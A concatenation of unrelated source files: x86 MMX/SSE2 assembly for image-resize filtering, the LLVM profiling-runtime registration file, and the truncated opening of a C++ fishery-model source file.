movq mm7,mm1 punpcklwd mm1,mm3 ;mm1 = [g3][g2][b3][b2] punpckhwd mm7,mm3 ;mm7 = [a3][a2][r3][r2] pmaddwd mm1,mm5 pmaddwd mm7,mm5 paddd mm0,mm6 paddd mm2,mm6 paddd mm0,mm1 paddd mm2,mm7 psrad mm0,14 psrad mm2,14 add esi,4 packssdw mm0,mm2 jne ccint_col_loop_MMX packuswb mm0,mm0 movd dword [ebp-4],mm0 pop ebp pop edi pop esi pop ebx ret ;-------------------------------------------------------------------------- ;vdasm_resize_ccint_col_SSE2(dst, src1, src2, src3, src4, count, tbl); global _vdasm_resize_ccint_col_SSE2 _vdasm_resize_ccint_col_SSE2: push ebx push esi push edi push ebp mov ebp,[esp + 4 + 16] ;ebp = dest addr mov esi,[esp + 24 + 16] ;esi = count add esi,esi add esi,esi mov eax,[esp + 8 + 16] ;eax = row 1 mov ebx,[esp + 12 + 16] ;ebx = row 2 mov ecx,[esp + 16 + 16] ;ecx = row 3 mov edx,[esp + 20 + 16] ;edx = row 4 mov edi,[esp + 28 + 16] ;edi = coefficient ptr neg esi add esi,4 jz ccint_col_SSE2_odd movq xmm4,qword [edi] movq xmm5,qword [edi+8] punpcklqdq xmm4,xmm4 punpcklqdq xmm5,xmm5 movq xmm6,[x0000200000002000] punpcklqdq xmm6,xmm6 pxor xmm7,xmm7 ; jmp short ccint_col_loop_SSE2.entry ; align 16 ccint_col_loop_SSE2: movq xmm0, qword [eax] add eax, 8 movq xmm1, qword [ebx] add ebx, 8 movq xmm2, qword [ecx] add ecx, 8 movq xmm3, qword [edx] add edx, 8 punpcklbw xmm0,xmm1 punpcklbw xmm2,xmm3 movdqa xmm1,xmm0 movdqa xmm3,xmm2 punpcklbw xmm0,xmm7 punpckhbw xmm1,xmm7 punpcklbw xmm2,xmm7 punpckhbw xmm3,xmm7 pmaddwd xmm0,xmm4 pmaddwd xmm1,xmm4 pmaddwd xmm2,xmm5 pmaddwd xmm3,xmm5 paddd xmm0,xmm6 paddd xmm1,xmm6 paddd xmm0,xmm2 paddd xmm1,xmm3 psrad xmm0,14 psrad xmm1,14 packssdw xmm0,xmm1 packuswb xmm0,xmm0 movdq2q mm0,xmm0 movntq [ebp],mm0 add ebp,8 add esi,8 jnc ccint_col_loop_SSE2 jnz ccint_col_SSE2_noodd ccint_col_SSE2_odd: movd mm0, dword [eax] pxor mm7,mm7 movd mm1, dword [ebx] movdq2q mm4,xmm4 movd mm2, dword [ecx] movdq2q mm5,xmm5 movd mm3, dword [edx] movdq2q mm6,xmm6 punpcklbw mm0,mm1 punpcklbw mm2,mm3 movq mm1,mm0 movq mm3,mm2 punpcklbw mm0,mm7 punpckhbw mm1,mm7 punpcklbw mm2,mm7 punpckhbw mm3,mm7 pmaddwd mm0,mm4 pmaddwd mm1,mm4 pmaddwd mm2,mm5 pmaddwd mm3,mm5 paddd mm0,mm6 paddd mm2,mm6 paddd mm0,mm2 paddd mm1,mm3 psrad mm0,14 psrad mm1,14 packssdw mm0,mm1 packuswb mm0,mm0 movd eax,mm0 movnti [ebp],eax ccint_col_SSE2_noodd: pop ebp pop edi pop esi pop ebx ret ;------------------------------------------------------------------------- ; ; long resize_table_row_MMX(Pixel *out, Pixel *in, int *filter, int filter_width, PixDim w, long accum, long frac); .code global _vdasm_resize_table_row_MMX _vdasm_resize_table_row_MMX: push ebp push esi push edi push ebx cmp dword [esp+16+16], 4 jz .accel_4coeff cmp dword [esp+16+16], 6 jz .accel_6coeff cmp dword [esp+16+16], 8 jz .accel_8coeff mov eax,[esp + 24 + 16] mov ebp,[esp + 20 + 16] mov ebx,[esp + 8 + 16] mov edi,[esp + 4 + 16] mov esi,eax mov edx,eax pxor mm5,mm5 mov ecx,[esp + 16 + 16] shr ecx,1 mov [esp+16+16],ecx test ecx,1 jnz .pixelloop_odd_pairs .pixelloop_even_pairs: shr esi,14 and edx,0000ff00h and esi,byte -4 mov ecx,[esp + 16 + 16] shr edx,5 add esi,ebx imul edx,ecx add eax,[esp + 28 + 16] add edx,[esp + 12 + 16] movq mm6,[MMX_roundval] pxor mm3,mm3 movq mm7,mm6 pxor mm2,mm2 .coeffloop_unaligned_even_pairs: movd mm0,dword [esi+0] paddd mm7,mm2 ;accumulate alpha/red (pixels 2/3) punpcklbw mm0,[esi+4] ;mm1=[a0][a1][r0][r1][g0][g1][b0][b1] paddd mm6,mm3 ;accumulate green/blue (pixels 2/3) movd mm2,dword [esi+8] movq mm1,mm0 ;mm0=[a0][a1][r0][r1][g0][g1][b0][b1] punpcklbw mm2,[esi+12] ;mm2=[a2][a3][r2][r3][g2][g3][b2][b3] punpckhbw mm0,mm5 ;mm0=[ a0 ][ a1 ][ r0 ][ r1 ] movq mm3,mm2 ;mm3=[a2][a3][r2][r3][g2][g3][b2][b3] pmaddwd mm0,[edx] ;mm0=[a0*f0+a1*f1][r0*f0+r1*f1] punpcklbw mm1,mm5 ;mm1=[ g0 ][ g1 ][ b0 ][ b1 ] pmaddwd mm1,[edx] ;mm1=[g0*f0+g1*f1][b0*f0+b1*f1] punpckhbw mm2,mm5 ;mm2=[ a2 ][ a3 ][ r0 ][ r1 ] pmaddwd mm2,[edx+8] ;mm2=[a2*f2+a3*f3][r2*f2+r3*f3] punpcklbw mm3,mm5 ;mm3=[ g2 ][ g3 ][ b2 ][ b3 ] pmaddwd mm3,[edx+8] ;mm3=[g2*f2+g3*f3][b2*f2+b3*f3] paddd mm7,mm0 ;accumulate alpha/red (pixels 0/1) paddd mm6,mm1 ;accumulate green/blue (pixels 0/1) add edx,16 add esi,16 sub ecx,2 jne .coeffloop_unaligned_even_pairs paddd mm7,mm2 ;accumulate alpha/red (pixels 2/3) paddd mm6,mm3 ;accumulate green/blue (pixels 2/3) psrad mm7,14 psrad mm6,14 packssdw mm6,mm7 add edi,4 packuswb mm6,mm6 sub ebp,1 mov esi,eax mov edx,eax movd dword [edi-4],mm6 jne .pixelloop_even_pairs pop ebx pop edi pop esi pop ebp ret ;---------------------------------------------------------------- .pixelloop_odd_pairs: shr esi,14 and edx,0000ff00h and esi,byte -4 mov ecx,[esp + 16 + 16] shr edx,5 add esi,ebx imul edx,ecx add eax,[esp + 28 + 16] sub ecx,1 add edx,[esp + 12 + 16] movq mm6,[MMX_roundval] pxor mm3,mm3 pxor mm2,mm2 movq mm7,mm6 .coeffloop_unaligned_odd_pairs: movd mm0,dword [esi+0] paddd mm7,mm2 ;accumulate alpha/red (pixels 2/3) punpcklbw mm0,[esi+4] ;mm1=[a0][a1][r0][r1][g0][g1][b0][b1] paddd mm6,mm3 ;accumulate green/blue (pixels 2/3) movd mm2,dword [esi+8] movq mm1,mm0 ;mm0=[a0][a1][r0][r1][g0][g1][b0][b1] punpcklbw mm2,[esi+12] ;mm2=[a2][a3][r2][r3][g2][g3][b2][b3] punpckhbw mm0,mm5 ;mm0=[ a0 ][ a1 ][ r0 ][ r1 ] movq mm3,mm2 ;mm3=[a2][a3][r2][r3][g2][g3][b2][b3] pmaddwd mm0,[edx] ;mm0=[a0*f0+a1*f1][r0*f0+r1*f1] punpcklbw mm1,mm5 ;mm1=[ g0 ][ g1 ][ b0 ][ b1 ] pmaddwd mm1,[edx] ;mm1=[g0*f0+g1*f1][b0*f0+b1*f1] punpckhbw mm2,mm5 ;mm2=[ a2 ][ a3 ][ r0 ][ r1 ] pmaddwd mm2,[edx+8] ;mm2=[a2*f2+a3*f3][r2*f2+r3*f3] punpcklbw mm3,mm5 ;mm3=[ g2 ][ g3 ][ b2 ][ b3 ] pmaddwd mm3,[edx+8] ;mm3=[g2*f2+g3*f3][b2*f2+b3*f3] paddd mm7,mm0 ;accumulate alpha/red (pixels 0/1) paddd mm6,mm1 ;accumulate green/blue (pixels 0/1) add edx,16 add esi,16 sub ecx,2 jne .coeffloop_unaligned_odd_pairs paddd mm7,mm2 ;accumulate alpha/red (pixels 2/3) paddd mm6,mm3 ;accumulate green/blue (pixels 2/3) ;finish up odd pair movd mm0,dword [esi] ;mm0 = [x1][r1][g1][b1] punpcklbw mm0,[esi+4] ;mm2 = [x0][x1][r0][r1][g0][g1][b0][b1] movq mm1,mm0 punpcklbw mm0,mm5 ;mm0 = [g0][g1][b0][b1] punpckhbw mm1,mm5 ;mm1 = [x0][x1][r0][r1] pmaddwd mm0,[edx] pmaddwd mm1,[edx] paddd mm6,mm0 paddd mm7,mm1 ;combine into pixel psrad mm6,14 psrad mm7,14 packssdw mm6,mm7 add edi,4 packuswb mm6,mm6 sub ebp,1 mov esi,eax mov edx,eax movd dword [edi-4],mm6 jne .pixelloop_odd_pairs pop ebx pop edi pop esi pop ebp ret ;---------------------------------------------------------------- .accel_4coeff: mov eax,[esp + 24 + 16] mov ebp,[esp + 20 + 16] add ebp,ebp add ebp,ebp mov ebx,[esp + 8 + 16] mov edi,[esp + 4 + 16] add edi,ebp neg ebp mov esi,eax mov edx,eax movq mm4,[MMX_roundval] pxor mm5,mm5 mov ecx,[esp+12+16] .pixelloop_4coeff: shr esi,14 and edx,0000ff00h and esi,byte -4 shr edx,4 add esi,ebx add eax,[esp+28+16] add edx,ecx movd mm0,dword [esi+0] movd mm2,dword [esi+8] punpcklbw mm0,[esi+4] ;mm0=[a0][a1][r0][r1][g0][g1][b0][b1] movq mm1,mm0 ;mm1=[a0][a1][r0][r1][g0][g1][b0][b1] punpckhbw mm0,mm5 ;mm0=[ a0 ][ a1 ][ r0 ][ r1 ] pmaddwd mm0,[edx] ;mm0=[a0*f0+a1*f1][r0*f0+r1*f1] punpcklbw mm2,[esi+12] ;mm2=[a2][a3][r2][r3][g2][g3][b2][b3] movq mm3,mm2 ;mm3=[a2][a3][r2][r3][g2][g3][b2][b3] punpcklbw mm1,mm5 ;mm1=[ g0 ][ g1 ][ b0 ][ b1 ] pmaddwd mm1,[edx] ;mm1=[g0*f0+g1*f1][b0*f0+b1*f1] punpckhbw mm2,mm5 ;mm2=[ a2 ][ a3 ][ r0 ][ r1 ] pmaddwd mm2,[edx+8] ;mm2=[a2*f2+a3*f3][r2*f2+r3*f3] punpcklbw mm3,mm5 ;mm3=[ g2 ][ g3 ][ b2 ][ b3 ] pmaddwd mm3,[edx+8] ;mm3=[g2*f2+g3*f3][b2*f2+b3*f3] paddd mm0,mm4 ;accumulate alpha/red (pixels 0/1) paddd mm1,mm4 ;accumulate green/blue (pixels 0/1) paddd mm0,mm2 ;accumulate alpha/red (pixels 2/3) paddd mm1,mm3 ;accumulate green/blue (pixels 2/3) psrad mm0,14 psrad mm1,14 packssdw mm1,mm0 mov esi,eax packuswb mm1,mm1 mov edx,eax movd dword [edi+ebp],mm1 add ebp,4 jne .pixelloop_4coeff pop ebx pop edi pop esi pop ebp ret ;---------------------------------------------------------------- .accel_6coeff: mov eax,[esp + 24 + 16] mov ebp,[esp + 20 + 16] add ebp,ebp add ebp,ebp mov ebx,[esp + 8 + 16] mov edi,[esp + 4 + 16] add edi,ebp neg ebp mov esi,eax mov edx,eax movq mm4,[MMX_roundval] pxor mm5,mm5 mov ecx,[esp+12+16] .pixelloop_6coeff: shr esi,14 and edx,0000ff00h and esi,byte -4 shr edx,5 lea edx,[edx+edx*2] add esi,ebx add eax,[esp+28+16] add edx,ecx movd mm0,dword [esi+0] movd mm2,dword [esi+8] punpcklbw mm0,[esi+4] ;mm0=[a0][a1][r0][r1][g0][g1][b0][b1] movq mm1,mm0 ;mm1=[a0][a1][r0][r1][g0][g1][b0][b1] punpckhbw mm0,mm5 ;mm0=[ a0 ][ a1 ][ r0 ][ r1 ] pmaddwd mm0,[edx] ;mm0=[a0*f0+a1*f1][r0*f0+r1*f1] punpcklbw mm2,[esi+12] ;mm2=[a2][a3][r2][r3][g2][g3][b2][b3] movq mm3,mm2 ;mm3=[a2][a3][r2][r3][g2][g3][b2][b3] punpcklbw mm1,mm5 ;mm1=[ g0 ][ g1 ][ b0 ][ b1 ] pmaddwd mm1,[edx] ;mm1=[g0*f0+g1*f1][b0*f0+b1*f1] punpckhbw mm2,mm5 ;mm2=[ a2 ][ a3 ][ r0 ][ r1 ] pmaddwd mm2,[edx+8] ;mm2=[a2*f2+a3*f3][r2*f2+r3*f3] punpcklbw mm3,mm5 ;mm3=[ g2 ][ g3 ][ b2 ][ b3 ] pmaddwd mm3,[edx+8] ;mm3=[g2*f2+g3*f3][b2*f2+b3*f3] paddd mm0,mm4 ;accumulate alpha/red (pixels 0/1) paddd mm1,mm4 ;accumulate green/blue (pixels 0/1) paddd mm0,mm2 ;accumulate alpha/red (pixels 2/3) paddd mm1,mm3 ;accumulate green/blue (pixels 2/3) movd mm6,dword [esi+16] punpcklbw mm6,[esi+20] ;mm1=[a0][a1][r0][r1][g0][g1][b0][b1] movq mm7,mm6 ;mm0=[a0][a1][r0][r1][g0][g1][b0][b1] punpckhbw mm6,mm5 ;mm0=[ a0 ][ a1 ][ r0 ][ r1 ] pmaddwd mm6,[edx+16] ;mm0=[a0*f0+a1*f1][r0*f0+r1*f1] punpcklbw mm7,mm5 ;mm1=[ g0 ][ g1 ][ b0 ][ b1 ] pmaddwd mm7,[edx+16] ;mm1=[g0*f0+g1*f1][b0*f0+b1*f1] paddd mm0,mm6 ;accumulate alpha/red (pixels 0/1) paddd mm1,mm7 ;accumulate green/blue (pixels 0/1) psrad mm0,14 psrad mm1,14 packssdw mm1,mm0 mov esi,eax packuswb mm1,mm1 mov edx,eax movd dword [edi+ebp],mm1 add ebp,4 jne .pixelloop_6coeff pop ebx pop edi pop esi pop ebp ret ;---------------------------------------------------------------- .accel_8coeff: mov eax,[esp + 24 + 16] mov ebp,[esp + 20 + 16] add ebp,ebp add ebp,ebp mov ebx,[esp + 8 + 16] mov edi,[esp + 4 + 16] add edi,ebp neg ebp mov esi,eax mov edx,eax movq mm4,[MMX_roundval] pxor mm5,mm5 mov ecx,[esp+12+16] .pixelloop_8coeff: shr esi,14 and edx,0000ff00h and esi,byte -4 shr edx,3 add esi,ebx add eax,[esp+28+16] add edx,ecx movd mm0,dword [esi+0] movd mm2,dword [esi+8] punpcklbw mm0,[esi+4] ;mm0=[a0][a1][r0][r1][g0][g1][b0][b1] movq mm1,mm0 ;mm1=[a0][a1][r0][r1][g0][g1][b0][b1] punpckhbw mm0,mm5 ;mm0=[ a0 ][ a1 ][ r0 ][ r1 ] pmaddwd mm0,[edx] ;mm0=[a0*f0+a1*f1][r0*f0+r1*f1] punpcklbw mm2,[esi+12] ;mm2=[a2][a3][r2][r3][g2][g3][b2][b3] movq mm3,mm2 ;mm3=[a2][a3][r2][r3][g2][g3][b2][b3] punpcklbw mm1,mm5 ;mm1=[ g0 ][ g1 ][ b0 ][ b1 ] pmaddwd mm1,[edx] ;mm1=[g0*f0+g1*f1][b0*f0+b1*f1] punpckhbw mm2,mm5 ;mm2=[ a2 ][ a3 ][ r0 ][ r1 ] pmaddwd mm2,[edx+8] ;mm2=[a2*f2+a3*f3][r2*f2+r3*f3] punpcklbw mm3,mm5 ;mm3=[ g2 ][ g3 ][ b2 ][ b3 ] pmaddwd mm3,[edx+8] ;mm3=[g2*f2+g3*f3][b2*f2+b3*f3] paddd mm0,mm4 ;accumulate alpha/red (pixels 0/1) paddd mm1,mm4 ;accumulate green/blue (pixels 0/1) paddd mm0,mm2 ;accumulate alpha/red (pixels 2/3) paddd mm1,mm3 ;accumulate green/blue (pixels 2/3) movd mm6,dword [esi+16] punpcklbw mm6,[esi+20] ;mm1=[a0][a1][r0][r1][g0][g1][b0][b1] movd mm2,dword [esi+24] punpcklbw mm2,[esi+28] ;mm2=[a2][a3][r2][r3][g2][g3][b2][b3] movq mm7,mm6 ;mm0=[a0][a1][r0][r1][g0][g1][b0][b1] punpckhbw mm6,mm5 ;mm0=[ a0 ][ a1 ][ r0 ][ r1 ] movq mm3,mm2 ;mm3=[a2][a3][r2][r3][g2][g3][b2][b3] pmaddwd mm6,[edx+16] ;mm0=[a0*f0+a1*f1][r0*f0+r1*f1] punpcklbw mm7,mm5 ;mm1=[ g0 ][ g1 ][ b0 ][ b1 ] pmaddwd mm7,[edx+16] ;mm1=[g0*f0+g1*f1][b0*f0+b1*f1] punpckhbw mm2,mm5 ;mm2=[ a2 ][ a3 ][ r0 ][ r1 ] pmaddwd mm2,[edx+24] ;mm2=[a2*f2+a3*f3][r2*f2+r3*f3] punpcklbw mm3,mm5 ;mm3=[ g2 ][ g3 ][ b2 ][ b3 ] pmaddwd mm3,[edx+24] ;mm3=[g2*f2+g3*f3][b2*f2+b3*f3] paddd mm0,mm6 ;accumulate alpha/red (pixels 0/1) paddd mm1,mm7 ;accumulate green/blue (pixels 0/1) paddd mm0,mm2 ;accumulate alpha/red (pixels 0/1) paddd mm1,mm3 ;accumulate green/blue (pixels 0/1) psrad mm0,14 psrad mm1,14 packssdw mm1,mm0 mov esi,eax packuswb mm1,mm1 mov edx,eax movd dword [edi+ebp],mm1 add ebp,4 jne .pixelloop_8coeff pop ebx pop edi pop esi pop ebp ret ;------------------------------------------------------------------------- ; ; long resize_table_col_MMX(Pixel *out, Pixel **in_table, int *filter, int filter_width, PixDim w, long frac); global _vdasm_resize_table_col_MMX _vdasm_resize_table_col_MMX: push ebp push esi push edi push ebx mov edx,[esp + 12 + 16] mov eax,[esp + 24 + 16] shl eax,2 imul eax,[esp + 16 + 16] add edx,eax mov [esp + 12 + 16], edx ;[esp+12+28] = filter pointer mov ebp,[esp + 20 + 16] ;ebp = pixel counter mov edi,[esp + 4 + 16] ;edi = destination pointer pxor mm5,mm5 cmp dword [esp+16+16], 4 jz .accel_4coeff cmp dword [esp+16+16], 6 jz .accel_6coeff mov ecx,[esp + 16 + 16] shr ecx,1 mov [esp + 16 + 16],ecx ;ecx = filter pair count xor ebx,ebx ;ebx = source offset mov ecx,[esp + 16 + 16] ;ecx = filter width counter .pixelloop: mov eax,[esp + 8 + 16] ;esi = row pointer table movq mm6,[MMX_roundval] movq mm7,mm6 pxor mm0,mm0 pxor mm1,mm1 .coeffloop: mov esi,[eax] paddd mm6,mm0 movd mm0,dword [esi+ebx] ;mm0 = [0][0][0][0][x0][r0][g0][b0] paddd mm7,mm1 mov esi,[eax+4] add eax,8 movd mm1,dword [esi+ebx] ;mm1 = [0][0][0][0][x1][r1][g1][b1] punpcklbw mm0,mm1 ;mm0 = [x0][x1][r0][r1][g0][g1][b0][b1] movq mm1,mm0 punpcklbw mm0,mm5 ;mm0 = [g1][g0][b1][b0] pmaddwd mm0,[edx] punpckhbw mm1,mm5 ;mm1 = [x1][x0][r1][r0] pmaddwd mm1,[edx] add edx,8 sub ecx,1 jne .coeffloop paddd mm6,mm0 paddd mm7,mm1 psrad mm6,14 psrad mm7,14 add edi,4 packssdw mm6,mm7 add ebx,4 packuswb mm6,mm6 sub ebp,1 mov ecx,[esp + 16 + 16] ;ecx = filter width counter mov edx,[esp + 12 + 16] ;edx = filter bank pointer movd dword [edi-4],mm6 jne .pixelloop .xit: pop ebx pop edi pop esi pop ebp ret .accel_4coeff: movq mm2,[edx] movq mm3,[edx+8] mov esi,[esp+8+16] ;esi = row pointer table mov eax,[esi] add ebp,ebp mov ebx,[esi+4] add ebp,ebp mov ecx,[esi+8] mov esi,[esi+12] add eax,ebp add ebx,ebp add ecx,ebp add esi,ebp add edi,ebp neg ebp ;EAX source 0 ;EBX source 1 ;ECX source 2 ;ESI source 3 ;EDI destination ;EBP counter movq mm4,[MMX_roundval] .pixelloop4: movd mm6,dword [eax+ebp] ;mm0 = [0][0][0][0][x0][r0][g0][b0] punpcklbw mm6,[ebx+ebp] ;mm0 = [x0][x1][r0][r1][g0][g1][b0][b1] movq mm7,mm6 punpcklbw mm6,mm5 ;mm0 = [g1][g0][b1][b0] pmaddwd mm6,mm2 punpckhbw mm7,mm5 ;mm1 = [x1][x0][r1][r0] movd mm0,dword [ecx+ebp] ;mm0 = [0][0][0][0][x0][r0][g0][b0] pmaddwd mm7,mm2 punpcklbw mm0,[esi+ebp] ;mm0 = [x0][x1][r0][r1][g0][g1][b0][b1] paddd mm6,mm4 movq mm1,mm0 punpcklbw mm0,mm5 ;mm0 = [g1][g0][b1][b0] pmaddwd mm0,mm3 punpckhbw mm1,mm5 ;mm1 = [x1][x0][r1][r0] pmaddwd mm1,mm3 paddd mm7,mm4 paddd mm6,mm0 paddd mm7,mm1 psrad mm6,14 psrad mm7,14 packssdw mm6,mm7 packuswb mm6,mm6 movd dword [edi+ebp],mm6 add ebp,4 jne .pixelloop4 jmp .xit .accel_6coeff: movq mm2,[edx] movq mm3,[edx+8] movq mm4,[edx+16] push 0 push dword [fs:0] mov dword [fs:0],esp mov esp,[esp+8+24] ;esp = row pointer table mov eax,[esp] add ebp,ebp mov ebx,[esp+4] add ebp,ebp mov ecx,[esp+8] mov edx,[esp+12] mov esi,[esp+16] mov esp,[esp+20] add eax,ebp add ebx,ebp add ecx,ebp add edx,ebp add esi,ebp add edi,ebp add esp,ebp neg ebp ;EAX source 0 ;EBX source 1 ;ECX source 2 ;EDX source 3 ;ESI source 4 ;EDI destination ;ESP source 5 ;EBP counter .pixelloop6: movd mm6,dword [eax+ebp] ;mm0 = [0][0][0][0][x0][r0][g0][b0] punpcklbw mm6,[ebx+ebp] ;mm0 = [x0][x1][r0][r1][g0][g1][b0][b1] movq mm7,mm6 punpcklbw mm6,mm5 ;mm0 = [g1][g0][b1][b0] movd mm0,dword [ecx+ebp] ;mm0 = [0][0][0][0][x0][r0][g0][b0] punpckhbw mm7,mm5 ;mm1 = [x1][x0][r1][r0] punpcklbw mm0,[edx+ebp] ;mm0 = [x0][x1][r0][r1][g0][g1][b0][b1] pmaddwd mm6,mm2 movq mm1,mm0 punpcklbw mm0,mm5 ;mm0 = [g1][g0][b1][b0] pmaddwd mm7,mm2 punpckhbw mm1,mm5 ;mm1 = [x1][x0][r1][r0] paddd mm6,[MMX_roundval] pmaddwd mm0,mm3 paddd mm7,[MMX_roundval] pmaddwd mm1,mm3 paddd mm6,mm0 movd mm0,dword [esi+ebp] ;mm0 = [0][0][0][0][x0][r0][g0][b0] paddd mm7,mm1 punpcklbw mm0,[esp+ebp] ;mm0 = [x0][x1][r0][r1][g0][g1][b0][b1] movq mm1,mm0 punpcklbw mm0,mm5 ;mm0 = [g1][g0][b1][b0] punpckhbw mm1,mm5 ;mm1 = [x1][x0][r1][r0] pmaddwd mm0,mm4 pmaddwd mm1,mm4 paddd mm6,mm0 paddd mm7,mm1 psrad mm6,14 psrad mm7,14 packssdw mm6,mm7 packuswb mm6,mm6 movd dword [edi+ebp],mm6 add ebp,4 jne .pixelloop6 mov esp, dword [fs:0] pop dword [fs:0] pop eax jmp .xit global _vdasm_resize_table_col_SSE2 _vdasm_resize_table_col_SSE2: push ebp push esi push edi push ebx mov edx,[esp+12+16] mov eax,[esp+24+16] shl eax,2 imul eax,[esp+16+16] add edx,eax mov [esp+12+16], edx ;[esp+12+16] = filter pointer mov ebp,[esp+20+16] ;ebp = pixel counter mov edi,[esp+4+16] ;edi = destination pointer pxor xmm7, xmm7 movdqa xmm6, [MMX_roundval] cmp dword [esp+16+16], 4 jz .accel_4coeff cmp dword [esp+16+16], 6 jz .accel_6coeff mov ecx,[esp+16+16] shr ecx,1 mov [esp+16+16],ecx ;ecx = filter pair count xor ebx,ebx ;ebx = source offset mov ecx,[esp+16+16] ;ecx = filter width counter .pixelloop: mov eax, [esp+8+16] ;esi = row pointer table movdqa xmm4, xmm6 .coeffloop: mov esi,[eax] movd xmm0, dword [esi+ebx] mov esi,[eax+4] add eax,8 movd xmm1, dword [esi+ebx] punpcklbw xmm0, xmm1 punpcklbw xmm0, xmm7 movq xmm2, qword [edx] pshufd xmm2, xmm2, 01000100b pmaddwd xmm0, xmm2 paddd xmm4, xmm0 add edx,8 sub ecx,1 jne .coeffloop psrad xmm4,14 add edi,4 packssdw xmm4,xmm4 add ebx,4 packuswb xmm4,xmm4 sub ebp,1 mov ecx,[esp+16+16] ;ecx = filter width counter mov edx,[esp+12+16] ;edx = filter bank pointer movd dword [edi-4],xmm4 jne .pixelloop .xit: pop ebx pop edi pop esi pop ebp ret .accel_4coeff: shl ebp, 2 mov eax, [esp+8+16] ;eax = row pointer table mov esi, [eax+12] mov ecx, [eax+8] mov ebx, [eax+4] mov eax, [eax] lea edi, [edi+ebp-4] neg ebp ;registers: ; ;EAX source 0 ;EBX source 1 ;ECX source 2 ;ESI source 3 ;EDI destination ;EBP counter ; movq xmm4, qword [edx] ;xmm4 = coeff 0/1 movq xmm5, qword [edx+8] ;xmm5 = coeff 2/3 punpcklqdq xmm4, xmm4 punpcklqdq xmm5, xmm5 add ebp, 4 jz .oddpixel_4coeff .pixelloop_4coeff_dualpel: movq xmm0, qword [eax] movq xmm1, qword [ebx] movq xmm2, qword [ecx] movq xmm3, qword [esi] add eax,8 add ebx,8 add ecx,8 add esi,8 punpcklbw xmm0, xmm1 punpcklbw xmm2, xmm3 movdqa xmm1, xmm0 movdqa xmm3, xmm2 punpcklbw xmm0, xmm7 punpckhbw xmm1, xmm7 punpcklbw xmm2, xmm7 punpckhbw xmm3, xmm7 pmaddwd xmm0, xmm4 pmaddwd xmm1, xmm4 pmaddwd xmm2, xmm5 pmaddwd xmm3, xmm5 paddd xmm0, xmm2 paddd xmm1, xmm3 paddd xmm0, xmm6 paddd xmm1, xmm6 psrad xmm0, 14 psrad xmm1, 14 packssdw xmm0, xmm1 packuswb xmm0, xmm0 movq qword [edi+ebp],xmm0 add ebp, 8 jae .pixelloop_4coeff_dualpel jnz .xit .oddpixel_4coeff: movd xmm0, dword [eax] movd xmm1, dword [ebx] movd xmm2, dword [ecx] movd xmm3, dword [esi] punpcklbw xmm0, xmm1 punpcklbw xmm2, xmm3 punpcklbw xmm0, xmm7 punpcklbw xmm2, xmm7 pmaddwd xmm0, xmm4 pmaddwd xmm2, xmm5 paddd xmm0, xmm2 paddd xmm0, xmm6 psrad xmm0, 14 packssdw xmm0, xmm0 packuswb xmm0, xmm0 movd dword [edi],xmm0 jmp .xit .accel_6coeff: movq xmm4, qword [edx] ;xmm4 = coeff 0/1 movq xmm5, qword [edx+8] ;xmm5 = coeff 2/3 movq xmm6, qword [edx+16] ;xmm5 = coeff 4/5 punpcklqdq xmm4, xmm4 punpcklqdq xmm5, xmm5 punpcklqdq xmm6, xmm6 push 0 push dword [fs:0] mov dword [fs:0],esp shl ebp, 2 mov eax, [esp+8+24] ;eax = row pointer table mov esp, [eax+20] mov esi, [eax+16] mov edx, [eax+12] mov ecx, [eax+8] mov ebx, [eax+4] mov eax, [eax] lea edi, [edi+ebp-4] neg ebp ;registers: ; ;EAX source 0 ;EBX source 1 ;ECX source 2 ;EDX source 3 ;ESI source 4 ;EDI destination ;ESP source 5 ;EBP counter ; add ebp, 4 jz .oddpixel_6coeff .pixelloop_6coeff_dualpel: movq xmm0, qword [eax] movq xmm1, qword [ebx] movq xmm2, qword [ecx] movq xmm3, qword [edx] add eax,8 add ebx,8 add ecx,8 add edx,8 punpcklbw xmm0, xmm1 punpcklbw xmm2, xmm3 movdqa xmm1, xmm0 movdqa xmm3, xmm2 punpcklbw xmm0, xmm7 punpckhbw xmm1, xmm7 punpcklbw xmm2, xmm7 punpckhbw xmm3, xmm7 pmaddwd xmm0, xmm4 pmaddwd xmm1, xmm4 pmaddwd xmm2, xmm5 pmaddwd xmm3, xmm5 paddd xmm0, xmm2 paddd xmm1, xmm3 movq xmm2, qword [esi] movq xmm3, qword [esp] add esi, 8 add esp, 8 punpcklbw xmm2, xmm3 movdqa xmm3, xmm2 punpcklbw xmm2, xmm7 punpckhbw xmm3, xmm7 pmaddwd xmm2, xmm6 pmaddwd xmm3, xmm6 paddd xmm0, xmm2 paddd xmm1, xmm3 paddd xmm0, [MMX_roundval] paddd xmm1, [MMX_roundval] psrad xmm0, 14 psrad xmm1, 14 packssdw xmm0, xmm1 packuswb xmm0, xmm0 movq qword [edi+ebp],xmm0 add ebp, 8 jae .pixelloop_6coeff_dualpel jnz .xit_6coeff .oddpixel_6coeff: movd xmm0, dword [eax] movd xmm1, dword [ebx] movd xmm2, dword [ecx] movd xmm3, dword [edx] punpcklbw xmm0, xmm1 punpcklbw xmm2, xmm3 movd xmm1, dword [esi] movd xmm3, dword [esp] punpcklbw xmm0, xmm7 punpcklbw xmm2, xmm7 pmaddwd xmm0, xmm4 punpcklbw xmm1, xmm3 pmaddwd xmm2, xmm5 punpcklbw xmm1, xmm7 pmaddwd xmm1, xmm6 paddd xmm0, xmm2 paddd xmm1, [MMX_roundval] paddd xmm0, xmm1 psrad xmm0, 14 packssdw xmm0, xmm0 packuswb xmm0, xmm0 movd dword [edi],xmm0 .xit_6coeff: mov esp, dword [fs:0] pop dword [fs:0] pop eax jmp .xit end
//===- InstrProfilingRuntime.cpp - PGO runtime initialization -------------===// // // The LLVM Compiler Infrastructure // // This file is distributed under the University of Illinois Open Source // License. See LICENSE.TXT for details. // //===----------------------------------------------------------------------===// extern "C" { #include "InstrProfiling.h" __attribute__((visibility("hidden"))) int __llvm_profile_runtime; } namespace { class RegisterRuntime { public: RegisterRuntime() { __llvm_profile_register_write_file_atexit(); __llvm_profile_initialize_file(); } }; RegisterRuntime Registration; }
#include <prnstrem.h> #ifdef unix #include <strstream> #else #include <strstrea.h> #endif #include "par_treg.h" #include "trace.h" int saveinterflag = 0; double min(const dmatrix& t); extern indexed_regional_fishery_record global_irfr; #include <jnigraphics2.h> #ifdef __BCG_SOLVER__ #include "linbcg.h" #else #include "coff_t.h" #include "intersav.h" extern setsaveinterflag interflag; extern intersavetype *isp; #endif void get_effort_array(par_t& param, indexed_regional_fishery_record& irfr, d3_array& effort, year_month& date, ivector& effort_occured); int read_effort(par_t& param, d3_array& effort, year_month& date, ivector& effort_occured); dmatrix slice_sum(const d3_array& t); void 